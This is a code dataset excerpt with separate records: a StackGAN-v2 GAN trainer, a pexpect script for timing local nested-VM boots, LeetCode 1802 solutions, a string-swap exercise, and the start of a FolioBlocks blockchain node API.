1))\n\n if cfg.CUDA:\n self.criterion.cuda()\n noise, fixed_noise = noise.cuda(), fixed_noise.cuda()\n self.real_labels = self.real_labels.cuda()\n self.fake_labels = self.fake_labels.cuda()\n\n predictions = []\n count = start_count\n start_epoch = start_count // (self.num_batches)\n for epoch in range(start_epoch, self.max_epoch):\n start_t = time.time()\n\n for step, data in enumerate(self.data_loader, 0):\n #######################################################\n # (0) Prepare training data\n ######################################################\n self.imgs_tcpu, self.real_imgs = self.prepare_data(data)\n\n #######################################################\n # (1) Generate fake images\n ######################################################\n noise.data.normal_(0, 1)\n self.fake_imgs, _, _ = self.netG(noise)\n\n #######################################################\n # (2) Update D network\n ######################################################\n errD_total = 0\n for i in range(self.num_Ds):\n errD = self.train_Dnet(i, count)\n errD_total += errD\n\n #######################################################\n # (3) Update G network: maximize log(D(G(z)))\n ######################################################\n errG_total = self.train_Gnet(count)\n for p, avg_p in zip(self.netG.parameters(), avg_param_G):\n avg_p.mul_(0.999).add_(0.001, p.data)\n\n # for inception score\n pred = self.inception_model(self.fake_imgs[-1].detach())\n predictions.append(pred.data.cpu().numpy())\n\n if count % 100 == 0:\n summary_D = summary.scalar('D_loss', errD_total.data[0])\n summary_G = summary.scalar('G_loss', errG_total.data[0])\n self.summary_writer.add_summary(summary_D, count)\n self.summary_writer.add_summary(summary_G, count)\n if step == 0:\n print('''[%d/%d][%d/%d] Loss_D: %.2f Loss_G: %.2f'''\n % (epoch, self.max_epoch, step, self.num_batches,\n errD_total.data[0], errG_total.data[0]))\n count = count + 1\n\n if count % cfg.TRAIN.SNAPSHOT_INTERVAL == 0:\n save_model(self.netG, avg_param_G, self.netsD, count, self.model_dir)\n save_model(self.netG, avg_param_G, self.netsD, count, self.model_dir)\n # Save images\n backup_para = copy_G_params(self.netG)\n load_params(self.netG, avg_param_G)\n #\n self.fake_imgs, _, _ = self.netG(fixed_noise)\n save_img_results(self.imgs_tcpu, self.fake_imgs, self.num_Ds,\n count, self.image_dir, self.summary_writer)\n #\n load_params(self.netG, backup_para)\n\n # Compute inception score\n if len(predictions) > 500:\n predictions = np.concatenate(predictions, 0)\n mean, std = compute_inception_score(predictions, 10)\n # print('mean:', mean, 'std', std)\n m_incep = summary.scalar('Inception_mean', mean)\n self.summary_writer.add_summary(m_incep, count)\n #\n mean_nlpp, std_nlpp = \\\n negative_log_posterior_probability(predictions, 10)\n m_nlpp = summary.scalar('NLPP_mean', mean_nlpp)\n self.summary_writer.add_summary(m_nlpp, count)\n #\n predictions = []\n\n end_t = time.time()\n print('Total Time: %.2fsec' % (end_t - start_t))\n\n save_model(self.netG, avg_param_G, self.netsD, count, self.model_dir)\n save_model(self.netG, avg_param_G, self.netsD, count, self.model_dir)\n\n self.summary_writer.close()\n\n def save_superimages(self, images, folder, startID, imsize):\n fullpath = '%s/%d_%d.png' % (folder, startID, imsize)\n vutils.save_image(images.data, fullpath, normalize=True)\n\n def save_singleimages(self, images, folder, startID, imsize):\n for i in range(images.size(0)):\n fullpath = '%s/%d_%d.png' % (folder, startID + i, imsize)\n # range from [-1, 1] to [0, 1]\n img = (images[i] + 1.0) / 2\n img = images[i].add(1).div(2).mul(255).clamp(0, 255).byte()\n # range from [0, 1] to [0, 255]\n ndarr = img.permute(1, 2, 0).data.cpu().numpy()\n im = Image.fromarray(ndarr)\n im.save(fullpath)\n\n def evaluate(self, split_dir):\n if cfg.TRAIN.NET_G == '':\n print('Error: the path for morels is not found!')\n else:\n # Build and load the generator\n netG = G_NET()\n netG.apply(weights_init)\n netG = torch.nn.DataParallel(netG, device_ids=self.gpus)\n print(netG)\n # state_dict = torch.load(cfg.TRAIN.NET_G)\n state_dict = \\\n torch.load(cfg.TRAIN.NET_G,\n map_location=lambda storage, loc: storage)\n netG.load_state_dict(state_dict)\n print('Load ', cfg.TRAIN.NET_G)\n\n # the path to save generated images\n s_tmp = cfg.TRAIN.NET_G\n istart = s_tmp.rfind('_') + 1\n iend = s_tmp.rfind('.')\n iteration = int(s_tmp[istart:iend])\n s_tmp = s_tmp[:s_tmp.rfind('/')]\n save_dir = '%s/iteration%d/%s' % (s_tmp, iteration, split_dir)\n if cfg.TEST.B_EXAMPLE:\n folder = '%s/super' % (save_dir)\n else:\n folder = '%s/single' % (save_dir)\n print('Make a new folder: ', folder)\n mkdir_p(folder)\n\n nz = cfg.GAN.Z_DIM\n noise = Variable(torch.FloatTensor(self.batch_size, nz))\n if cfg.CUDA:\n netG.cuda()\n noise = noise.cuda()\n\n # switch to evaluate mode\n netG.eval()\n num_batches = int(cfg.TEST.SAMPLE_NUM / self.batch_size)\n cnt = 0\n for step in xrange(num_batches):\n noise.data.normal_(0, 1)\n fake_imgs, _, _ = netG(noise)\n if cfg.TEST.B_EXAMPLE:\n self.save_superimages(fake_imgs[-1], folder, cnt, 256)\n else:\n self.save_singleimages(fake_imgs[-1], folder, cnt, 256)\n # self.save_singleimages(fake_imgs[-2], folder, 128)\n # self.save_singleimages(fake_imgs[-3], folder, 64)\n cnt += self.batch_size\n\n\n# ################# Text to image task############################ #\nclass condGANTrainer(object):\n def __init__(self, output_dir, data_loader, imsize):\n if cfg.TRAIN.FLAG:\n self.model_dir = os.path.join(output_dir, 'Model')\n self.image_dir = os.path.join(output_dir, 'Image')\n self.log_dir = os.path.join(output_dir, 'Log')\n mkdir_p(self.model_dir)\n mkdir_p(self.image_dir)\n mkdir_p(self.log_dir)\n self.summary_writer = FileWriter(self.log_dir)\n\n s_gpus = cfg.GPU_ID.split(',')\n self.gpus = [int(ix) for ix in s_gpus]\n self.num_gpus = len(self.gpus)\n torch.cuda.set_device(self.gpus[0])\n cudnn.benchmark = True\n\n self.batch_size = cfg.TRAIN.BATCH_SIZE * self.num_gpus\n self.max_epoch = cfg.TRAIN.MAX_EPOCH\n self.snapshot_interval = cfg.TRAIN.SNAPSHOT_INTERVAL\n\n self.data_loader = data_loader\n self.num_batches = len(self.data_loader)\n\n def prepare_data(self, data):\n imgs, w_imgs, t_embedding, _ = data\n\n real_vimgs, wrong_vimgs = [], []\n if cfg.CUDA:\n vembedding = Variable(t_embedding).cuda()\n else:\n vembedding = Variable(t_embedding)\n for i in range(self.num_Ds):\n if cfg.CUDA:\n real_vimgs.append(Variable(imgs[i]).cuda())\n wrong_vimgs.append(Variable(w_imgs[i]).cuda())\n else:\n real_vimgs.append(Variable(imgs[i]))\n wrong_vimgs.append(Variable(w_imgs[i]))\n return imgs, real_vimgs, wrong_vimgs, vembedding\n\n def train_Dnet(self, idx, count):\n flag = count % 100\n batch_size = self.real_imgs[0].size(0)\n criterion, mu = self.criterion, self.mu\n\n netD, optD = self.netsD[idx], self.optimizersD[idx]\n real_imgs = self.real_imgs[idx]\n wrong_imgs = self.wrong_imgs[idx]\n fake_imgs = self.fake_imgs[idx]\n #\n netD.zero_grad()\n # Forward\n real_labels = self.real_labels[:batch_size]\n fake_labels = self.fake_labels[:batch_size]\n # for real\n real_logits = netD(real_imgs, mu.detach())\n wrong_logits = netD(wrong_imgs, mu.detach())\n fake_logits = netD(fake_imgs.detach(), mu.detach())\n #\n errD_real = criterion(real_logits[0], real_labels)\n errD_wrong = criterion(wrong_logits[0], fake_labels)\n errD_fake = criterion(fake_logits[0], fake_labels)\n if len(real_logits) > 1 and cfg.TRAIN.COEFF.UNCOND_LOSS > 0:\n errD_real_uncond = cfg.TRAIN.COEFF.UNCOND_LOSS * \\\n criterion(real_logits[1], real_labels)\n errD_wrong_uncond = cfg.TRAIN.COEFF.UNCOND_LOSS * \\\n criterion(wrong_logits[1], real_labels)\n errD_fake_uncond = cfg.TRAIN.COEFF.UNCOND_LOSS * \\\n criterion(fake_logits[1], fake_labels)\n #\n errD_real = errD_real + errD_real_uncond\n errD_wrong = errD_wrong + errD_wrong_uncond\n errD_fake = errD_fake + errD_fake_uncond\n #\n errD = errD_real + errD_wrong + errD_fake\n else:\n errD = errD_real + 0.5 * (errD_wrong + errD_fake)\n # backward\n errD.backward()\n # update parameters\n optD.step()\n # log\n if flag == 0:\n summary_D = summary.scalar('D_loss%d' % idx, errD.data[0])\n self.summary_writer.add_summary(summary_D, count)\n return errD\n\n def train_Gnet(self, count):\n self.netG.zero_grad()\n errG_total = 0\n flag = count % 100\n batch_size = self.real_imgs[0].size(0)\n criterion, mu, logvar = self.criterion, self.mu, self.logvar\n real_labels = self.real_labels[:batch_size]\n for i in range(self.num_Ds):\n outputs = self.netsD[i](self.fake_imgs[i], mu)\n errG = criterion(outputs[0], real_labels)\n if len(outputs) > 1 and cfg.TRAIN.COEFF.UNCOND_LOSS > 0:\n errG_patch = cfg.TRAIN.COEFF.UNCOND_LOSS *\\\n criterion(outputs[1], real_labels)\n errG = errG + errG_patch\n errG_total = errG_total + errG\n if flag == 0:\n summary_D = summary.scalar('G_loss%d' % i, errG.data[0])\n self.summary_writer.add_summary(summary_D, count)\n\n # Compute color consistency losses\n if cfg.TRAIN.COEFF.COLOR_LOSS > 0:\n if self.num_Ds > 1:\n mu1, covariance1 = compute_mean_covariance(self.fake_imgs[-1])\n mu2, covariance2 = \\\n compute_mean_covariance(self.fake_imgs[-2].detach())\n like_mu2 = cfg.TRAIN.COEFF.COLOR_LOSS * nn.MSELoss()(mu1, mu2)\n like_cov2 = cfg.TRAIN.COEFF.COLOR_LOSS * 5 * \\\n nn.MSELoss()(covariance1, covariance2)\n errG_total = errG_total + like_mu2 + like_cov2\n if flag == 0:\n sum_mu = summary.scalar('G_like_mu2', like_mu2.data[0])\n self.summary_writer.add_summary(sum_mu, count)\n sum_cov = summary.scalar('G_like_cov2', like_cov2.data[0])\n self.summary_writer.add_summary(sum_cov, count)\n if self.num_Ds > 2:\n mu1, covariance1 = compute_mean_covariance(self.fake_imgs[-2])\n mu2, covariance2 = \\\n compute_mean_covariance(self.fake_imgs[-3].detach())\n like_mu1 = cfg.TRAIN.COEFF.COLOR_LOSS * nn.MSELoss()(mu1, mu2)\n like_cov1 = cfg.TRAIN.COEFF.COLOR_LOSS * 5 * \\\n nn.MSELoss()(covariance1, covariance2)\n errG_total = errG_total + like_mu1 + like_cov1\n if flag == 0:\n sum_mu = summary.scalar('G_like_mu1', like_mu1.data[0])\n self.summary_writer.add_summary(sum_mu, count)\n sum_cov = summary.scalar('G_like_cov1', like_cov1.data[0])\n self.summary_writer.add_summary(sum_cov, count)\n\n kl_loss = KL_loss(mu, logvar) * cfg.TRAIN.COEFF.KL\n errG_total = errG_total + kl_loss\n errG_total.backward()\n self.optimizerG.step()\n return kl_loss, errG_total\n\n def train(self):\n self.netG, self.netsD, self.num_Ds,\\\n self.inception_model, start_count = load_network(self.gpus)\n avg_param_G = copy_G_params(self.netG)\n\n self.optimizerG, self.optimizersD = \\\n define_optimizers(self.netG, self.netsD)\n\n self.criterion = nn.BCELoss()\n\n self.real_labels = \\\n Variable(torch.FloatTensor(self.batch_size).fill_(1))\n self.fake_labels = \\\n Variable(torch.FloatTensor(self.batch_size).fill_(0))\n\n self.gradient_one = torch.FloatTensor([1.0])\n self.gradient_half = torch.FloatTensor([0.5])\n\n nz = cfg.GAN.Z_DIM\n noise = Variable(torch.FloatTensor(self.batch_size, nz))\n fixed_noise = \\\n Variable(torch.FloatTensor(self.batch_size, nz).normal_(0, 1))\n\n if cfg.CUDA:\n self.criterion.cuda()\n self.real_labels = self.real_labels.cuda()\n self.fake_labels = self.fake_labels.cuda()\n self.gradient_one = self.gradient_one.cuda()\n self.gradient_half = self.gradient_half.cuda()\n noise, fixed_noise = noise.cuda(), fixed_noise.cuda()\n\n predictions = []\n count = start_count\n start_epoch = start_count // (self.num_batches)\n for epoch in range(start_epoch, self.max_epoch):\n start_t = time.time()\n\n for step, data in enumerate(self.data_loader, 0):\n #######################################################\n # (0) Prepare training data\n ######################################################\n self.imgs_tcpu, self.real_imgs, self.wrong_imgs, \\\n self.txt_embedding = self.prepare_data(data)\n\n #######################################################\n # (1) Generate fake images\n ######################################################\n noise.data.normal_(0, 1)\n self.fake_imgs, self.mu, self.logvar = \\\n self.netG(noise, self.txt_embedding)\n\n #######################################################\n # (2) Update D network\n ######################################################\n errD_total = 0\n for i in range(self.num_Ds):\n errD = self.train_Dnet(i, count)\n errD_total += errD\n\n #######################################################\n # (3) Update G network: maximize log(D(G(z)))\n ######################################################\n kl_loss, errG_total = self.train_Gnet(count)\n for p, avg_p in zip(self.netG.parameters(), avg_param_G):\n avg_p.mul_(0.999).add_(0.001, p.data)\n\n # for inception score\n pred = self.inception_model(self.fake_imgs[-1].detach())\n predictions.append(pred.data.cpu().numpy())\n\n if count % 100 == 0:\n summary_D = summary.scalar('D_loss', errD_total.data[0])\n summary_G = summary.scalar('G_loss', errG_total.data[0])\n summary_KL = summary.scalar('KL_loss', kl_loss.data[0])\n self.summary_writer.add_summary(summary_D, count)\n self.summary_writer.add_summary(summary_G, count)\n self.summary_writer.add_summary(summary_KL, count)\n\n count = count + 1\n\n if count % cfg.TRAIN.SNAPSHOT_INTERVAL == 0:\n save_model(self.netG, avg_param_G, self.netsD, count, self.model_dir)\n # Save images\n backup_para = copy_G_params(self.netG)\n load_params(self.netG, avg_param_G)\n #\n self.fake_imgs, _, _ = \\\n self.netG(fixed_noise, self.txt_embedding)\n save_img_results(self.imgs_tcpu, self.fake_imgs, self.num_Ds,\n count, self.image_dir, self.summary_writer)\n #\n load_params(self.netG, backup_para)\n\n # Compute inception score\n if len(predictions) > 500:\n predictions = np.concatenate(predictions, 0)\n mean, std = compute_inception_score(predictions, 10)\n # print('mean:', mean, 'std', std)\n m_incep = summary.scalar('Inception_mean', mean)\n self.summary_writer.add_summary(m_incep, count)\n #\n mean_nlpp, std_nlpp = \\\n negative_log_posterior_probability(predictions, 10)\n m_nlpp = summary.scalar('NLPP_mean', mean_nlpp)\n self.summary_writer.add_summary(m_nlpp, count)\n #\n predictions = []\n\n end_t = time.time()\n print('''[%d/%d][%d]\n Loss_D: %.2f Loss_G: %.2f Loss_KL: %.2f Time: %.2fs\n ''' # D(real): %.4f D(wrong):%.4f D(fake) %.4f\n % (epoch, self.max_epoch, self.num_batches,\n errD_total.data[0], errG_total.data[0],\n kl_loss.data[0], end_t - start_t))\n\n save_model(self.netG, avg_param_G, self.netsD, count, self.model_dir)\n self.summary_writer.close()\n\n def save_superimages(self, images_list, filenames,\n save_dir, split_dir, imsize):\n batch_size = images_list[0].size(0)\n num_sentences = len(images_list)\n for i in range(batch_size):\n s_tmp = '%s/super/%s/%s' %\\\n (save_dir, split_dir, filenames[i])\n folder = s_tmp[:s_tmp.rfind('/')]\n if not os.path.isdir(folder):\n print('Make a new folder: ', folder)\n mkdir_p(folder)\n #\n savename = '%s_%d.png' % (s_tmp, imsize)\n super_img = []\n for j in range(num_sentences):\n img = images_list[j][i]\n # print(img.size())\n img = img.view(1, 3, imsize, imsize)\n # print(img.size())\n super_img.append(img)\n # break\n super_img = torch.cat(super_img, 0)\n vutils.save_image(super_img, savename, nrow=10, normalize=True)\n\n def save_singleimages(self, images, filenames,\n save_dir, split_dir, sentenceID, imsize):\n for i in range(images.size(0)):\n s_tmp = '%s/single_samples/%s/%s' %\\\n (save_dir, split_dir, filenames[i])\n folder = s_tmp[:s_tmp.rfind('/')]\n if not os.path.isdir(folder):\n print('Make a new folder: ', folder)\n mkdir_p(folder)\n\n fullpath = '%s_%d_sentence%d.png' % (s_tmp, imsize, sentenceID)\n # range from [-1, 1] to [0, 255]\n img = images[i].add(1).div(2).mul(255).clamp(0, 255).byte()\n ndarr = img.permute(1, 2, 0).data.cpu().numpy()\n im = Image.fromarray(ndarr)\n im.save(fullpath)\n\n def evaluate(self, split_dir):\n if cfg.TRAIN.NET_G == '':\n print('Error: the path for morels is not found!')\n else:\n # Build and load the generator\n if split_dir == 'test':\n split_dir = 'valid'\n netG = G_NET()\n netG.apply(weights_init)\n netG = torch.nn.DataParallel(netG, device_ids=self.gpus)\n print(netG)\n # state_dict = torch.load(cfg.TRAIN.NET_G)\n state_dict = \\\n torch.load(cfg.TRAIN.NET_G,\n map_location=lambda storage, loc: storage)\n netG.load_state_dict(state_dict)\n print('Load ', cfg.TRAIN.NET_G)\n\n # the path to save generated images\n s_tmp = cfg.TRAIN.NET_G\n istart = s_tmp.rfind('_') + 1\n iend = s_tmp.rfind('.')\n iteration = int(s_tmp[istart:iend])\n s_tmp = s_tmp[:s_tmp.rfind('/')]\n save_dir = '%s/iteration%d' % (s_tmp, iteration)\n\n nz = cfg.GAN.Z_DIM\n noise = Variable(torch.FloatTensor(self.batch_size, nz))\n if cfg.CUDA:\n netG.cuda()\n noise = noise.cuda()\n\n # switch to evaluate mode\n netG.eval()\n for step, data in enumerate(self.data_loader, 0):\n imgs, t_embeddings, filenames = data\n if cfg.CUDA:\n t_embeddings = Variable(t_embeddings).cuda()\n else:\n t_embeddings = Variable(t_embeddings)\n # print(t_embeddings[:, 0, :], t_embeddings.size(1))\n\n embedding_dim = t_embeddings.size(1)\n batch_size = imgs[0].size(0)\n noise.data.resize_(batch_size, nz)\n noise.data.normal_(0, 1)\n\n fake_img_list = []\n for i in range(embedding_dim):\n fake_imgs, _, _ = netG(noise, t_embeddings[:, i, :])\n if cfg.TEST.B_EXAMPLE:\n # fake_img_list.append(fake_imgs[0].data.cpu())\n # fake_img_list.append(fake_imgs[1].data.cpu())\n fake_img_list.append(fake_imgs[2].data.cpu())\n else:\n self.save_singleimages(fake_imgs[-1], filenames,\n save_dir, split_dir, i, 256)\n # self.save_singleimages(fake_imgs[-2], filenames,\n # save_dir, split_dir, i, 128)\n # self.save_singleimages(fake_imgs[-3], filenames,\n # save_dir, split_dir, i, 64)\n # break\n if cfg.TEST.B_EXAMPLE:\n # self.save_superimages(fake_img_list, filenames,\n # save_dir, split_dir, 64)\n # self.save_superimages(fake_img_list, filenames,\n # save_dir, split_dir, 128)\n self.save_superimages(fake_img_list, filenames,\n save_dir, split_dir, 256)","repo_name":"hanzhanggit/StackGAN-v2","sub_path":"code/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":36409,"program_lang":"python","lang":"en","doc_type":"code","stars":826,"dataset":"github-code","pt":"37"} +{"seq_id":"33015293646","text":"from common import *\n\nclientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclientsocket.connect(('localhost', SOCKET_NUM))\n\nchild = pexpect.spawn('telnet localhost %s' % L1_PORT)\nchild.timeout=None\nchild.logfile = sys.stdout\n\nchild.sendline('')\nchild.expect('L0.*# ')\nsend_msg(m, \"L0_boot_complete\")\n\nchild.sendline('cd /srv/vm')\nchild.expect('L0.*# ')\nchild.sendline('./run-guest.sh -c %s' % CPU_NUM)\nsend_msg(m, \"L1_boot_start\")\nstart = datetime.datetime.now()\n\nchild.expect('L1.*# ')\nelapsed = datetime.datetime.now() - start\nclientsocket.send('L1 is up')\nsend_msg(m, \"L1_boot_complete\")\nsend_msg(m, elapsed)\n\nos.system(\"telnet localhost %s | tee l1_log\" % L1_PORT)\n","repo_name":"soccertack/model","sub_path":"ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5361725028","text":"\"\"\"\ntag: 贪心;二分查找\n1802. 有界数组中指定下标处的最大值\nhttps://leetcode.cn/problems/maximum-value-at-a-given-index-in-a-bounded-array/\n\"\"\"\n\n\nclass Solution0_0:\n \"\"\" 遍历��找:初始化为值为1的平面,之后以 index 为顶点逐渐拉起一个倒三角形\n 超时 \"\"\"\n def maxValue(self, n: int, index: int, maxSum: int) -> int:\n cur_sum, cur_index, radius = n, 1, 0\n while cur_sum <= maxSum:\n low, high = max(0, index - radius), min(n - 1, index + radius)\n radius += 1\n cur_index += 1\n cur_sum += (high - low + 1)\n return cur_index - 1\n\n\nclass Solution0_1:\n \"\"\" 优化至通过,但执行用时依然很长 \"\"\"\n def maxValue(self, n: int, index: int, maxSum: int) -> int:\n cur_sum, cur_index, radius = n, 1, 0\n while cur_sum <= maxSum:\n low, high = max(0, index - radius), min(n - 1, index + radius)\n if index - radius < 0 and index + radius > n - 1:\n cur_index += (maxSum - cur_sum) // n\n return cur_index\n radius += 1\n cur_index += 1\n cur_sum += (high - low + 1)\n return cur_index - 1\n\n\nclass Solution1:\n \"\"\" 贪心 + 二分查找 \"\"\"\n def maxValue(self, n: int, index: int, maxSum: int) -> int:\n left, right = 1, maxSum\n while left < right:\n mid = left + (right + 1 - left) // 2\n if self.valid(mid, n, index, maxSum):\n left = mid\n else:\n right = mid - 1\n return left\n\n def valid(self, mid: int, n: int, index: int, maxSum: int) -> bool:\n \"\"\" verify the validation when nums[index] = mid \"\"\"\n left = index\n right = n - 1 - index\n return mid + self.cal(mid, left) + self.cal(mid, right) <= maxSum\n\n def cal(self, big: int, length: int) -> int:\n if length < big - 1: # 梯形 (不包括 big)\n small = big - length\n return ((big - 1 + small) * length) // 2\n else: # 三角形 + 高为1的底座\n ones = length - (big - 1)\n return (big - 1 + 1) * (big - 1) // 2 + ones\n\n\nclass Solution2:\n \"\"\" 假设nums[idx] = m,则整体三角形面积为m平方(类似1234321),\n 减去两角的小三角形就是总面积\n s1的面积为1 + 2 + ... + m-(idx+1),等差数列\n s2同理,1 + 2 + ... + m-(n-idx)\n 二分高度m即可 \"\"\"\n def maxValue(self, n: int, idx: int, maxSum: int) -> int:\n l, r = -1, maxSum + 1\n maxSum -= n # 第一层\n while l + 1 < r:\n m = l + r >> 1\n x, y = m - idx - 1, m - n + idx\n s = m ** 2\n s1, s2 = max(0, x) * (x + 1) // 2, max(0, y) * (y + 1) // 2\n if s - s1 - s2 <= maxSum:\n l = m\n else:\n r = m\n return l + 1\n","repo_name":"ZhangRui111/AwesomeAlgorithm","sub_path":"leetcode/medium/1802.py","file_name":"1802.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9968581460","text":"# print(\"-----method 1--------\")\n# def swap(string1):\n# start=string1[0]\n# end=string1[-1]\n# swapped_string=end+string1[1:-1]+start\n# print(swapped_string)\n#\n# # should implement removing special characters\n# a = '''Lorem ipsum dolor sit amet,\n# consectetur adipiscing elit,\n# sed do eiusmod tempor incididunt\n# ut labore et dolore magna aliqua.'''\n# swap(a)\n#\n# print(\"-----method 1-------\")\n\nprint(\"-----method 2-------\")\nstring2=\"sachin.k.v!123\"\nnumeric_string2=\"\"\nfor character in string2:\n if character.isalpha():\n numeric_string2 +=character\nprint(numeric_string2)\nstart=numeric_string2[0]\nend=numeric_string2[-1]\nswapped_string=end+numeric_string2[1:-1]+start\nprint(swapped_string)\nprint(\"-----method 2-------\")","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"practice 04 Dec/strings_assignments/_10_first and last letter swap.py","file_name":"_10_first and last letter swap.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28484303289","text":"\"\"\"\nAPI — Explorer and Node API for the Master Node.\n\nThis file is part of FolioBlocks.\n\nFolioBlocks is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\nFolioBlocks is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\nYou should have received a copy of the GNU General Public License along with FolioBlocks. If not, see .\n\"\"\"\n\n\nfrom asyncio import create_task, gather\nfrom datetime import datetime, timedelta\nfrom http import HTTPStatus\nfrom logging import Logger, getLogger\nfrom os import environ as env\n\nfrom blueprint.models import (\n associated_nodes,\n auth_codes,\n consensus_negotiation,\n tokens,\n users,\n)\nfrom blueprint.schemas import (\n AdditionalContextTransaction,\n StudentLogTransaction,\n StudentUserTransaction,\n ConsensusFromMasterPayload,\n ConsensusSuccessPayload,\n ConsensusToMasterPayload,\n GroupTransaction,\n NodeCertificateTransaction,\n NodeConsensusInformation,\n NodeInformation,\n NodeMasterInformation,\n NodeSyncTransaction,\n NodeTransaction,\n SourcePayload,\n)\nfrom core.blockchain import BlockchainMechanism, get_blockchain_instance\nfrom core.constants import (\n ASYNC_TARGET_LOOP,\n BLOCKCHAIN_HASH_BLOCK_DIFFICULTY,\n AddressUUID,\n AssociatedNodeStatus,\n AuthAcceptanceCode,\n BaseAPI,\n ConsensusNegotiationStatus,\n JWTToken,\n NodeAPI,\n NodeTransactionInternalActions,\n NodeType,\n SourceNodeOrigin,\n TransactionActions,\n TransactionContextMappingType,\n UserEntity,\n)\nfrom core.dependencies import (\n EnsureAuthorized,\n generate_consensus_sleep_time,\n get_database_instance,\n)\nfrom cryptography.fernet import Fernet\nfrom databases import Database\nfrom fastapi import (\n APIRouter,\n Depends,\n File,\n Form,\n Header,\n HTTPException,\n Response,\n UploadFile,\n)\nfrom fastapi.responses import JSONResponse\nfrom pydantic import PydanticValueError\nfrom sqlalchemy import func, select\nfrom sqlalchemy.sql.expression import Insert, Select, Update\nfrom blueprint.schemas import NodeMineConsensusSuccessProofTransaction\nfrom core.constants import (\n CERTIFICATE_TOKEN_SECRET_KEY_END_INDEX,\n CERTIFICATE_TOKEN_SECRET_KEY_MIDDLE_INDEX,\n CERTIFICATE_TOKEN_SECRET_KEY_START_INDEX,\n)\nfrom utils.processors import save_database_state_to_volume_storage\nfrom utils.processors import (\n validate_previous_consensus_negotiation,\n validate_source_and_origin_associates,\n)\n\nlogger: Logger = getLogger(ASYNC_TARGET_LOOP)\n\nnode_router = APIRouter(\n prefix=\"/node\",\n tags=[BaseAPI.NODE.value],\n)\n\n\n@node_router.get(\n \"/info\",\n tags=[\n NodeAPI.GENERAL_NODE_API.value,\n NodeAPI.NODE_TO_NODE_API.value,\n NodeAPI.MASTER_NODE_API.value,\n ],\n response_model=NodeInformation,\n summary=\"Fetch information from the master node.\",\n description=\"An API endpoint that returns information based on the authority of the client's requests. This requires special headers.\",\n # # Notes: I left this one in open-air since there are no credentials to steal (maybe maybe maybe).\n)\nasync def get_node_info() -> NodeInformation:\n blockchain_instance: BlockchainMechanism | None = get_blockchain_instance()\n\n if isinstance(blockchain_instance, BlockchainMechanism):\n node_state: NodeConsensusInformation = (\n blockchain_instance.get_blockchain_private_state()\n )\n node_statistics: NodeMasterInformation | None = (\n await blockchain_instance.get_blockchain_public_state()\n )\n\n return NodeInformation(\n properties=node_state,\n statistics=node_statistics,\n )\n\n raise HTTPException(\n detail=\"Blockchain instance is not yet initialized to return blockchain's public and private states. Please try again later.\",\n status_code=HTTPStatus.NO_CONTENT,\n )\n\n\n\"\"\"\n/consensus/echo | When received ensure its the master by fetching its info.\n/consensus/acknowledge | When acknowledging, give something, then it will return something.\n\n# Note that MASTER will have to do this command once! Miners who just finished will have to wait and keep on retrying.\n/consensus/negotiate | This is gonna be complex, on MASTER, if there's current consensus negotiation then create a new one (token). Then return a consensus as initial from the computation of the consensus_timer.\n/consensus/negotiate | When there's already a consensus negotiation, when called by MASTER, return the context of the consensus_timer and other properties that validates you of getting the block when you are selected.\n/consensus/negotiate | When block was fetched then acknowledge it.\n/consensus/negotiate | When the miner is done, call this one again but with a payload, and then keep on retrying, SHOULD BLOCK THIS ONE.\n/consensus/negotiate | When it's done, call this again for you to sleep by sending the calculated consensus, if not right then the MASTER will send a correct timer.\n/consensus/negotiate | Repeat.\n# TODO: Actions should be, receive_block, (During this, one of the assert processes will be executed.)\n\"\"\"\n\n\n@node_router.post(\n \"/receive_hashed_block\",\n tags=[NodeAPI.NODE_TO_NODE_API.value, NodeAPI.MASTER_NODE_API.value],\n summary=f\"Receives a hashed block for the {NodeType.MASTER_NODE} to append from the blockchain.\",\n description=f\"A special API endpoint that receives a raw bock to be mined.\",\n dependencies=[\n Depends(\n EnsureAuthorized(\n _as=UserEntity.ARCHIVAL_MINER_NODE_USER, blockchain_related=True\n )\n )\n ],\n response_model=ConsensusSuccessPayload,\n status_code=HTTPStatus.ACCEPTED,\n)\nasync def receive_hashed_block(\n context_from_archival_miner: ConsensusToMasterPayload,\n database_instance: Database = Depends(get_database_instance),\n blockchain_instance: BlockchainMechanism | None = Depends(get_blockchain_instance),\n) -> ConsensusSuccessPayload:\n\n if isinstance(blockchain_instance, BlockchainMechanism):\n block_confirmed: bool = False\n block_equal_from_main: bool = False\n\n # - Validate the given block by checking its id and other fields that is outside from the context.\n for each_confirming_block in blockchain_instance.confirming_block_container:\n\n logger.debug(\n f\"Block Compare (Confirming Block | Mined Block) |> ID: ({each_confirming_block.id} | {context_from_archival_miner.hashed_block.id}), Block Size Bytes: ({each_confirming_block.content_bytes_size} | {context_from_archival_miner.hashed_block.content_bytes_size}), Timestamp: ({each_confirming_block.contents.timestamp} | {context_from_archival_miner.hashed_block.contents.timestamp})\"\n )\n\n # - From the current selected block, check if it match from the received block from the confirming blocks.\n if (\n (\n each_confirming_block.id\n == context_from_archival_miner.hashed_block.id\n )\n and each_confirming_block.content_bytes_size\n == context_from_archival_miner.hashed_block.content_bytes_size\n and context_from_archival_miner.hashed_block.hash_block[:BLOCKCHAIN_HASH_BLOCK_DIFFICULTY] == \"0\" * BLOCKCHAIN_HASH_BLOCK_DIFFICULTY # type: ignore # ! This should contain something.\n and each_confirming_block.contents.timestamp\n == context_from_archival_miner.hashed_block.contents.timestamp\n ):\n\n block_confirmed = True # - Unlock the path after the iterator to ensure that the block will be processed, based on its condition.\n\n # - When it matches, check if the received block's id is higher than the main_block_id.\n if (\n context_from_archival_miner.hashed_block.id\n > blockchain_instance.main_block_id\n ):\n logger.warning(\n f\"Received-hashed block #{context_from_archival_miner.hashed_block.id} seem to be way to early to get here. Therefore, save it in the hashed block container to 